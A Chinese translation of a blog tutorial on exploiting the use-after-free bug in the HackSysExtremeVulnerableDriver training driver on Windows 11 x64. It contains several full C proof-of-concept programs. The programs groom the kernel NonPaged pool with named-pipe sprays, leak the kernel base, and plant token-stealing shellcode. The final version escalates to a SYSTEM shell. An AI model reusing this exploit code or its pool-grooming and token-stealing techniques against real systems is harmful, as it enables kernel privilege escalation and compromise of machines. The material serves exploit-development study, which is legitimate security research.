【翻译】0x03 - Approaching the Modern Windows Kernel Heap
在 Windows 7 (x86) 上利用 UaF 漏洞后,我们已经对这种漏洞的工作原理有了深入的了解,现在是时候尝试在 Windows 11 (x64) 上进行利用了。
需要注意的是,虽然我们确认 Violet Phosphorus 可以攻击 Windows 11 24H2,但在本系列的剩余部分中,我将使用 Windows 11 (x64) - 10.0.22000 N/A Build 22000
,这仅仅是因为这是其他漏洞利用测试所使用的 Windows 版本。
你完全可以将这些教程应用到最新版本的 Windows 上,但如前所述,你需要适应最新操作系统中引入的额外安全控制措施。
逆向工程
由于我们之前已经在 Windows 7 (x86) 上利用过这个漏洞,所以我们已经对它有了很多了解,但在继续之前,我们需要获取一些关键信息。既然我们之前使用了源代码,现在我们将把重点转向使用 Ghidra。在高层次上,为了制作我们的漏洞利用,我们需要以下信息:
-
对象的大小(用于利用 UaF) -
IOCTL 代码
由于我们知道在哪里查找,这些信息可以很容易获得。如下所示,x64 上的对象大小已从 0x58 字节更改为 0x60 字节。
接下来,我们可以从 IrpDeviceIoCtlHandler()
获取 IOCTL 代码,对我们重要的代码如下:
|
|
---|---|
|
|
|
|
|
|
|
|
有了这些,我们就拥有了制作 PoC 所需的一切。
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<windows.h>#include<psapi.h>// IOCTL Codes#define ALLOCATE_REAL_OBJ 0x222013#define CALL_FUNC_PTR 0x222017#define FREE_OBJ 0x22201b#define ALLOCATE_FAKE_OBJ 0x22201f// Allocated object size#define OBJ_SIZE 0x60voidsendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer){ DWORD bytesReturned = 0; DeviceIoControl(hHEVD, dIoctl, pBuffer, dBuffer,NULL,0x00, &bytesReturned,NULL);return;}char *allocate_buffer(){char *buffer = malloc(OBJ_SIZE);if (buffer != NULL) {memset(buffer, 0x41, OBJ_SIZE); }return buffer;}intmain(){ HANDLE hHEVD = NULL;char *evilBuffer = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == INVALID_HANDLE_VALUE) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; } evilBuffer = allocate_buffer();if (evilBuffer == NULL) {printf("[*] Failed to allocate evil buffer for fake objectn");return-1; }printf("[*] Allocating structuren"); sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);printf("[*] Freeing structuren"); sendIoctl(hHEVD, FREE_OBJ, NULL, 0);printf("[*] Allocating new object of size 0x%xn", OBJ_SIZE); sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, evilBuffer, OBJ_SIZE);printf("[*] Triggering UAFn"); sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);}
然而,一旦发送,我们并没有获得对函数指针的控制。出了什么问题?
退一步思考
我决定在以下位置设置断点:
-
结构的分配 -
释放该结构 -
分配假对象 -
触发 UAF
以下是我使用的断点:
bu HEVD+0x87a8a # Instruction after calling ExAllocatePoolWithTag(global_struct)bu HEVD+0x87c20 # Instruction after calling ExFreePoolWithTag(global_struct)bu HEVD+0x87912 # Instruction after calling ExAllocatePoolWithTag(global_struct)bu HEVD+0x87cf2 # CALL RCX(function pointer within the global_struct)
在设置这些断点时,我注意到一个非常重要的事情... 我们新分配的对象或者说假对象并不是0x60字节,而是原来的 0x58 字节。
这意味着我们需要找到一种新方法来分配相同大小的新对象...
Kernel Heap Fengshui (Alex Ionescu)
此时我完全不知道下一步该怎么做...
-
有哪些技术可以实现 NonPaged 分配? -
这能从用户层完成吗?
我开始搜索是否有人解决了这个问题,并找到了VulnDevs的文章,他们引用了Alex Ionescu的一篇博客文章,描述了一种实现这一目标的技术,所以我决定阅读并尝试理解 Heap Fengshui 的艺术。
Pools
当你听到"pool"这个词与 Windows Kernel 相关时,要理解这些只是用于 Windows Kernel 堆管理的结构。
我们将关注两种分配器:常规分配器和大型/大容量分配器。
-
Regular:用于适合一个页面内的任何分配,这些分配利用空间来保存池头和初始空闲块。 -
Big:用于大于一个页面的任何分配,占用一个或多个页面。当使用 CacheAligned type
类型的池内存时,无论分配大小如何,也会使用它们。没有简单的方法可以保证缓存对齐,而不将整个页面专用于分配。
因为在大型分配中没有空间放置头部,这些页面在单独的"Big Pool Tracking Table"(nt!PoolBigPageTable) 中被跟踪。该表中的每个条目由POOL_TRACKER_BIG_PAGES
结构表示。
struct _POOL_TRACKER_BIG_PAGES{volatile ULONGLONG Va; //0x0 ULONG Key; //0x8 ULONG Pattern:8; //0xc ULONG PoolType:12; //0xc ULONG SlushSize:12; //0xc ULONGLONG NumberOfBytes; //0x10struct _EPROCESS* ProcessBilled;//0x18};
需要注意的是,虚拟地址(VA)会通过按位或操作来标识是空闲还是使用中。最多只会有一个分配。Alex Ionescu 提供了一个 WinDbg 脚本来转储所有大型池分配和一些驱动程序代码,但我无法使它正常工作。
目前,我决定先继续前进,等到我开始编写自己的内核驱动程序时再回来研究这个问题。
使用 Chlorine 进行池控制
我们的最终目标是找到一个用户模式 API,它能让我们完全控制内核对象的内核模式数据并创建大型池分配。
以下是两个简单的例子(根据作者所说 xD):
-
创建一个本地套接字,监听它,从另一个线程连接,接受连接,然后发送 > 4KB 的套接字数据但不读取它。这将导致辅助功能驱动程序(AFD.sys)在内核模式内存中分配套接字数据。因为 Windows 网络栈在 DISPATCH_LEVEL (IRQL 2) 级别运行,而且分页不可用,AFD 将使用非分页池缓冲区进行分配。 -
创建一个命名管道,并写入 >4KB 的数据但不读取它。这也会导致命名管道文件系统(NPFS.SYS)在非分页池缓冲区中分配管道数据(因为 NPFS 也在 DISPATCH_LEVEL 执行缓冲区管理)。
在这两个选项中,选项 2 最简单,需要的代码行数更少。我们需要记住的重要事项是,NPFS 会在我们的缓冲区前面加上它自己的内部头部,称为 DATA_ENTRY。每个版本的 NPFS 的大小略有不同。
/* The Entries that go into the Queue */typedefstruct _NP_DATA_QUEUE_ENTRY{ LIST_ENTRY QueueEntry; ULONG DataEntryType; PIRP Irp; ULONG QuotaInEntry; PSECURITY_CLIENT_CONTEXT ClientSecurityContext; ULONG DataSize;} NP_DATA_QUEUE_ENTRY, *PNP_DATA_QUEUE_ENTRY;
处理这个问题的方法是创建具有正确偏移量的用户模式缓冲区。最终,关键在于拥有至少一个页面大小的缓冲区,这样我们就能强制使用大型池分配器。
回到 VulnDev
我仍然对该怎么做感到困惑,因为 Alex 的博客文章似乎同时使用了一个不能正常工作的 WinDbg 脚本和内核模式驱动程序库(也许是我太菜了?)。可能情况已经发生了变化,这些代码在我们的环境中不能直接兼容。
话虽如此,接下来我们将看看 VulnDev 做了什么,并将其实现到我们的漏洞利用中。看起来 VulnDev 能够在 NonPagedPool 中分配一个对象(任何大小 >0x48)。
PoC 代码如下:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<windows.h>#include<psapi.h>// IOCTL Codes#define ALLOCATE_REAL_OBJ 0x222013#define CALL_FUNC_PTR 0x222017#define FREE_OBJ 0x22201b#define ALLOCATE_FAKE_OBJ 0x22201ftypedefstructPipeHandles { HANDLE read; HANDLE write;} PipeHandles;struct PipeHandles CreatePipeObject(){ DWORD ALLOC_SIZE = 0x70; BYTE uBuffer[0x28] = { 0 }; // ALLOC_SIZE - HEADER_SIZE (0x48) HANDLE readPipe = NULL; HANDLE writePipe = NULL; DWORD resultLength = 0; RtlFillMemory(uBuffer, 0x28, 0x41);if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {printf("[-] CreatePipen"); }if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {printf("[-] WriteFilen"); }return (struct PipeHandles) {.read = readPipe, .write = writePipe};}voidsendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer){ DWORD bytesReturned = 0; DeviceIoControl(hHEVD, dIoctl, pBuffer, dBuffer,NULL,0x00, &bytesReturned,NULL);return;}intmain(){ HANDLE hHEVD = NULL; PipeHandles pipeHandle = CreatePipeObject();printf("[*] Handles: 0x%llx, 0x%llx", pipeHandle.read, pipeHandle.write); getchar(); DebugBreak(); hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == INVALID_HANDLE_VALUE) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }printf("[*] Allocating structuren"); sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);printf("[*] Freeing structuren"); sendIoctl(hHEVD, FREE_OBJ, NULL, 0);return0;}
我们再次使用VulnDevs
的实现。如果我们运行这个程序,句柄会被打印到 STDOUT,我们可以使用 WinDbg 进行检查。
在上面的输出中,我们看到对象位于 NonPaged pool 中,但其大小为 0x190,这是怎么回事?正如博客文章中提到的,执行这些操作创建了一个 DATA_ENTRY 对象。这些对象使用标签"NpFr"进行分配。我们可以使用!poolused
找到它。像VulnDev
一样,当尝试使用poolfind
查找时,我没有成功...
然而,这表明我们已成功在 NonPaged pool 中分配了 112 字节。现在一切都说得通了...基本方程式是:
sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE
如果我们使用适当的修改再次运行代码,就能证明这一点:
还有另一个我没有考虑到的问题。由于内核一直在进行分配,我们无法保证我们的分配会占用已释放对象的位置。
解决这个问题的一种方法是创建一堆"洞",这些"洞"被我们控制的分配所包围。这给了我们很好的机会来实现 UAF 条件。一旦我们分配并释放了正常对象,我们可以使用AllocateFakeObjectNonPagedPool
创建一堆假对象,增加我们占用已释放分配内存的机会。
基本上,我们要做的是:
-
分配一堆 DATA_ENTRY 对象(CreatePipe + WriteFile) -
释放每隔一个 DATA_ENTRY 对象,创建空闲分配位置(洞) -
分配 USE_AFTER_FREE_NON_PAGED_POOL 结构 -
释放 USE_AFTER_FREE_NON_PAGED_POOL 结构 -
尝试重新占用已释放的内存(USE_AFTER_FREE_NON_PAGED_POOL 结构曾经所在的位置) -
调用我们的假对象触发 UAF
为了实现这一点,我使用了以下代码:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<windows.h>#include<psapi.h>// IOCTL Codes#define ALLOCATE_REAL_OBJ 0x222013#define CALL_FUNC_PTR 0x222017#define FREE_OBJ 0x22201b#define ALLOCATE_FAKE_OBJ 0x22201ftypedefstructPipeHandles { HANDLE read; HANDLE write;} PipeHandles;struct PipeHandles CreatePipeObject(){ BYTE uBuffer[0x18] = { 0 }; // sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE HANDLE readPipe = NULL; HANDLE writePipe = NULL; DWORD resultLength = 0; RtlFillMemory(uBuffer, 0x18, 0x41);if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {printf("[-] CreatePipen"); }if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {printf("[-] WriteFilen"); }return (struct PipeHandles) {.read = readPipe, .write = writePipe};}voidsendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer){ DWORD bytesReturned = 0; DeviceIoControl(hHEVD, dIoctl, pBuffer, dBuffer,NULL,0x00, &bytesReturned,NULL);return;}#define DEF_PIPES 20000#define SEQ_PIPES 60000intmain(){int i = 0; HANDLE hHEVD = NULL; BYTE uBuffer[0x58] = {0}; PipeHandles defragPipeHandles[DEF_PIPES] = {0}; PipeHandles seqPipeHandles[SEQ_PIPES] = {0}; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == INVALID_HANDLE_VALUE) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }/* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise we will fail to allocate any. We have to start with a low amount THEN allocate the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we CANNOT just use one loop to hold all 80000 allocations. We must space it out */printf("[*] Spraying objects for pool defragmentationn");for (i = 0; i < DEF_PIPES; i++) defragPipeHandles[i] = CreatePipeObject();for (i = 0; i < SEQ_PIPES; i++) seqPipeHandles[i] = CreatePipeObject();printf("[*] Creating holes to store objectn");for (i = 0; i < SEQ_PIPES; i++) {if (i % 2 == 0) { CloseHandle(seqPipeHandles[i].read); CloseHandle(seqPipeHandles[i].write); } }printf("[*] Allocating target structuren"); sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);printf("[*] Freeing target structuren"); sendIoctl(hHEVD, FREE_OBJ, NULL, 0);printf("[*] Filling holes with custom objectsn"); *(uint64_t *)(uBuffer) = (uint64_t)(0x41414141);for (int i = 0; i < 30000; i++) sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, uBuffer, sizeof(uBuffer));printf("[*] Triggering UAFn"); sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);return0;}
漏洞利用
那么我们如何执行我们的 shellcode 呢?我们在尝试在 Windows 10 上获取代码执行权限时了解到,其中一种攻击路径是将页表项(PTE)标记为内核页。然而,由于分配是由内核完成并标记为可执行的,RAX 指向的条目应该可以直接执行!
由于我们有 0x60 字节的空间,这应该足够容纳我们的令牌窃取有效载荷和恢复代码。逃逸计划如下:
-
找到一个小工具来: -
增加 RAX 使其指向 NonPaged 池分配中的前 8 个字节之后 -
跳转到 RAX -
执行 Shellcode -
修复栈
下面是我们尝试完成的粗略示意图。
经过一番拉锯战,我们终于能够在 Windows 11 上获得 SYSTEM shell。
以下是最终的 PoC:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<windows.h>#include<psapi.h>// IOCTL Codes#define ALLOCATE_REAL_OBJ 0x222013#define CALL_FUNC_PTR 0x222017#define FREE_OBJ 0x22201b#define ALLOCATE_FAKE_OBJ 0x22201f// DATA_ENTRY Allocations#define DEF_PIPES 20000#define SEQ_PIPES 60000/* CreatePipeObject(): This function creates a pipe and returns the handles to the read and write ends of said pipe. However, what this does in the case of our exploit is create an allocation in the NonPaged pool. It's important to note each allocation is made by the Named Pipe File System (NPFS.sys). That said it will prepend an allocation with a DATA_ENTRY structure (or NP_DATA_QUEUE_ENTRY), on an x86_64 system this structure is 0x48 bytes. So each allocation must be greater than 0x48 bytes. Equation below: CreatePipe(HANDLE hR, HANDLE hW, NULL, nSize); NonPagedAllocation = nSize + sizeof(_NP_DATA_QUEUE_ENTRY) So in our case we're allocating 0x60 bytes in the NonPaged pool. This code was taken from VulnDevs blog located here: https://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/ The only difference is this was written in C vs C++ */typedefstructPipeHandles { HANDLE read; HANDLE write;} PipeHandles;struct PipeHandles CreatePipeObject(){ BYTE uBuffer[0x18] = { 0 }; HANDLE readPipe = NULL; HANDLE writePipe = NULL; DWORD resultLength = 0; RtlFillMemory(uBuffer, 0x18, 0x41);if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {printf("[-] CreatePipen"); }if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {printf("[-] WriteFilen"); }return (struct PipeHandles) {.read = readPipe, .write = writePipe};}/* SendIOCTL(): Send the IOCTL code to the driver */voidSendIOCTL(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer){ DWORD bytesReturned = 0; DeviceIoControl(hHEVD, dIoctl, pBuffer, dBuffer,NULL,0x00, &bytesReturned,NULL);return;}/* GetKernelBaseAddress(): Using EnumDeviceDrivers() obtain the base address of ntoskrnl.exe */uint64_tGetKernelBaseAddress(){ ULONG_PTR pKernelBaseAddress = 0; LPVOID *lpImageBase = NULL; DWORD dwBytesNeeded = 0;if (!EnumDeviceDrivers(NULL, 0, &dwBytesNeeded)) {printf("[-] Failed to calculate bytes needed for device driver entries");return-1; }if (!(lpImageBase = (LPVOID *)HeapAlloc(GetProcessHeap(), 0, dwBytesNeeded))) {printf("[-] Failed to allocate heap for lpImageBasen");if (lpImageBase) { HeapFree(GetProcessHeap(), 0, lpImageBase); }return-1; }if (!EnumDeviceDrivers(lpImageBase, dwBytesNeeded, &dwBytesNeeded)) {printf("[-] EnumDeviceDrivers: %d", GetLastError());if (lpImageBase) { HeapFree(GetProcessHeap(), 0, lpImageBase); }return-1; } pKernelBaseAddress = ((ULONG_PTR *)lpImageBase)[0]; HeapFree(GetProcessHeap(), 0, lpImageBase);printf("[*] Kernel Base Address: %llxn", pKernelBaseAddress);return pKernelBaseAddress;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* Exploit(): NonPaged Pool UAF */intExploit(HANDLE hHEVD){ PipeHandles defragPipeHandles[DEF_PIPES] = {0}; PipeHandles seqPipeHandles[SEQ_PIPES] = {0};int i = 0;int64_t kernelBaseAddr = GetKernelBaseAddress();char cShellcode[0x58] ="x90x90x90x90x90x90x90x90x90"// FUNCTION POINTER"x90x90x90x90x90x90x90x90x90"// NOP SLED// sickle -p windows/x64/kernel_token_stealer -f c -m pinpoint"x65x48xa1x88x01x00x00x00x00x00x00"// movabs rax, qword ptr gs:[0x188]"x48x8bx80xb8x00x00x00"// mov rax, qword ptr [rax + 0xb8]"x48x89xc1"// mov rcx, rax"xb2x04"// mov dl, 4"x48x8bx80x48x04x00x00"// mov rax, qword ptr [rax + 0x448]"x48x2dx48x04x00x00"// sub rax, 0x448"x38x90x40x04x00x00"// cmp byte ptr [rax + 0x440], dl"x75xeb"// jne 0x1017"x48x8bx90xb8x04x00x00"// mov rdx, qword ptr [rax + 0x4b8]"x48x89x91xb8x04x00x00"// mov qword ptr [rcx + 0x4b8], rdx// KERNEL RECOVERY"x48x31xc0"// xor rax, rax "x48x83xc4x48"// add rsp, 0x48 "xc3"; // ret /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise we will fail to allocate any. We have to start with a low amount THEN allocate the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we CANNOT just use one loop to hold all 80000 allocations. We must space it out */printf("[*] Spraying objects for pool defragmentationn");for (i = 0; i < DEF_PIPES; i++) defragPipeHandles[i] = CreatePipeObject();for (i = 0; i < SEQ_PIPES; i++) seqPipeHandles[i] = CreatePipeObject();printf("[*] Creating holes to store objectn");for (i = 0; i < SEQ_PIPES; i++) {if (i % 2 == 0) { CloseHandle(seqPipeHandles[i].read); CloseHandle(seqPipeHandles[i].write); } }printf("[*] Allocating target structuren"); SendIOCTL(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);printf("[*] Freeing target structuren"); SendIOCTL(hHEVD, FREE_OBJ, NULL, 0);printf("[*] Filling holes with custom objectsn"); *(uint64_t *)(cShellcode) = (uint64_t)(kernelBaseAddr + 0x40176b); /* add al, 0x10 ; call rax [nt] */for (int i = 0; i < 30000; i++) SendIOCTL(hHEVD, ALLOCATE_FAKE_OBJ, cShellcode, 0x58);printf("[*] Triggering UAFn"); SendIOCTL(hHEVD, CALL_FUNC_PTR, NULL, 0);return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == INVALID_HANDLE_VALUE) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation successful, enjoy your shellnn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn");return-1; }return0;}
编译完成后(x86_64-w64-mingw32-gcc poc.c -o poc.exe),我们成功获得了 shell
资源
https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdfhttps://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/https://web.archive.org/web/20230602115237/https://www.alex-ionescu.com/kernel-heap-spraying-like-its-2015-swimming-in-the-big-kids-pool/https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdfhttps://connormcgarr.github.io/swimming-in-the-kernel-pool-part-1/https://www.vergiliusproject.com/
原文始发于微信公众号(securitainment):探索现代 Windows 内核堆
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论